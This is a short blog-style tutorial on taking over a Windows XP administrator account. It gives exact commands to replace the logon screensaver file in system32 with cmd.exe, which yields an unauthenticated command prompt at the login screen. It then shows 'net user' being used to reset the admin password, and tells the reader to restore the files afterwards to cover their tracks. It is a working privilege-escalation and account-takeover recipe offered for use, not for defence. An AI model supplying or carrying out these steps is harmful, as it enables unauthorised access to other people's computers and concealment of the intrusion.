How to Hack Windows XP Administrator Password

This is a cool little computer trick I’ve picked up in my travels and decided to share it with you fine and ethical individuals =) Log in and go to your DOS command prompt and enter these commands exactly:

cd\
cd\windows\system32
mkdir temphack
copy logon.scr temphack\logon.scr
copy cmd.exe temphack\cmd.exe
del logon.scr
rename cmd.exe logon.scr
exit

So what you just told windows to backup is the command program and the screensaver file. Then you edited the settings so when windows loads the screen saver, you will get an unprotected dos prompt without logging in. When this appears enter this command below:

net user password

If the admin user name is Doug and you want the password 1234 then you would enter "net user Doug 1234"? and now you’ve changed the admin password to 1234. Log in, do what you want to do, copy the contents of temphack back into system32 to cover your tracks.
